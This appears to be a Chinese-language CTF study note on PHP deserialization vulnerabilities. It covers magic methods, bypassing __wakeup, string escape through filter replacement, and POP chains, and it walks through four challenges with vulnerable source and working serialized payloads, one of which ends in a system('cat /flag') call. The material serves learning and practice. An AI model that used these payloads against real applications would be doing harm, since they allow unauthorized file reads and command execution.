php反序列化总结

-

定义:

序列化:将变量转换成字符串的过程

反序列化漏洞

条件:

  1. unserialize()函数参数可控
  2. 存在可利用的类且类中有魔法函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    __construct():创建对象时初始化
    __destruct():(反序列化之后自动调用)销毁对象时

    __wakeup():反序列化之前调用
    __sleep():序列化对象之前调用

    __toString():对象被当作字符串时使用(如echo 对象 强制转换为string类型
    __call():调用对象不存在时使用
    __invoke(): 用调用函数的方法调用一个对象

    利用

    绕过__wakeup :

    当序列化字符串中表示的对象属性个数值大于真实,跳过

有filter函数时,过滤字符逃逸

有关字符串逃逸:
由系列化的形式可以知道,长度数字反应值中的字符多少。
php反序列化中。数字控制可以读取的值的多少

pop链

pop:面向属性编程(Property-Oriented Programming)
pop链:通过多个属性/对象前的调用关系形成可利用链
其中重点考察魔法函数

  • 注意private参数 加%00在类和参数前

题目

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)){
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
echo "<br>";
show_source(dirname (__FILE__).'/'.$this ->file);}
else
die('Wrong filename.');
}
}

function __wakeup(){
$this-> file='index.php';
}

public function __toString(){return '' ;}}

if (!isset($_GET['file'])){
show_source('index.php');
}
else
{
$file = $_GET['file'];
echo unserialize($file);
}
?> <!--key in flag.php-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class SoFun{
public $file='test.php';

function __destruct(){
if(!empty($this->file)){
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
echo "<br>";
show_source(dirname (__FILE__).'/'.$this ->file);}
else
die('Wrong filename.');
}
}
function __construct($a)
{
$this->file=$a;
}

public function __toString(){return '' ;}

}

$ne=new SoFun("flag.php");
var_dump(serialize($ne))

O:5:”SoFun”:1:{s:4:”file”;s:8:”flag.php”;}
将属性值改成大于真实值
O:5:”SoFun”:3:{s:4:”file”;s:8:”flag.php”;}

2. buu php

wp说dirsearch 扫描到www.zip 但我扫不出来 不知道是什么原因
同理
O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
不可行 猜测是priviate变量的问题
因为username和password私有 上传时会自动再类与字段名前面都加上 \0
复制时会被去除 url编码 %00
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}

3. buu piapiapia (0CTF2016) 反序列化字符逃逸

同样扫描得到www.zip
其中有register页面 先注册登录 到update页面 上传之后到达profile页面

阅读源码
(大佬的顺序 是 config class
config中存在flag 运用漏洞读flag 即读 config.php
先看index中:有一个验证username和password 的条件判断 长度在3-16且互相匹配
然后进profile.php:
profile.php中载入class.php 反序列化profile(其中可以读出photo的内容)
class.php中用fillter过滤’select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 替换为 hacker

即要构造photo=config.php

update中die出情况
phone:非11位数字 固定格式 email:非十位以内@十位以内.十位以内 固定格式
nickname:非字母/数字 或 长度>10
photo:size不在5-1000000

可以看到update中只有nickename 可以用数组绕过

序列化完成后进入 profile.php 页面

1
2
3
4
5
6
7
<?php
$profile['phone']='12345678901';
$profile['email']='123@123.com';
$profile['nickname']=['a'];
$profile['photo']='config.com';
echo serialize($profile);
?>

a:4:{s:5:”phone”;s:11:”12345678901”;s:5:”email”;s:11:”123@123.com“;s:8:”nickname”;a:1:{i:0;s:8:””nickname;}s:5:”photo”;s:10:”config.com”;}
需要逃逸 “;}s:5:”photo”;s:10:”config.com”;} 共34 位
因此构造nickname=
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
profile页面中会先在class.php中会将where替换成hacker
再反序列化profile 多出34位 使最后34位逃逸到下一 photo

注意需要抓包修改 nickname 为 nickname[]

得到base 64 编码后的flag

总结:
1.为什么要字符逃逸 只能间接控制到某一个变量
2.如何字符逃逸 运动filter函数的替换

4. web辅助(强网杯)

index.php

1
2
3
4
5
6
7
8
9
10
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);

return $data;
}

function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>

play.php

1
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
$this->admin = 1;
return $this->admin ;
}
}

class topsolo{
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}


public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("cat /flag");
}

public function __toString(){
$this->KS();
return "";
}

}
?>

目的在 jungle类中的 __toString 调用 KS()中的system(“cat /flag”);

__toString 在jungle类的对象被当作字符串使用时激活
而midsolo中有将name当作字符串处理 可以连在一起
(其中要绕过midsolo的wakeup)

而topsolo中的TP()函数 将name属性当作函数 可执行__invoke函数

由此可得pop链:topsolo(midsolo(jungle()))

即 topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem(‘cat /flag’)

由于题目设置的一些别的坑,需要
1.绕过midsolo__wakeup() :改属性个数
2.反序列化字符串不允许出现name :通过大写S和十六进制绕过
3.read函数将字符串\0*\0长度由5变成3 进行逃逸
最后playload为

1
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0;password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}

因为没找到环境 关键在理清pop链构造 这里就不仔细研究了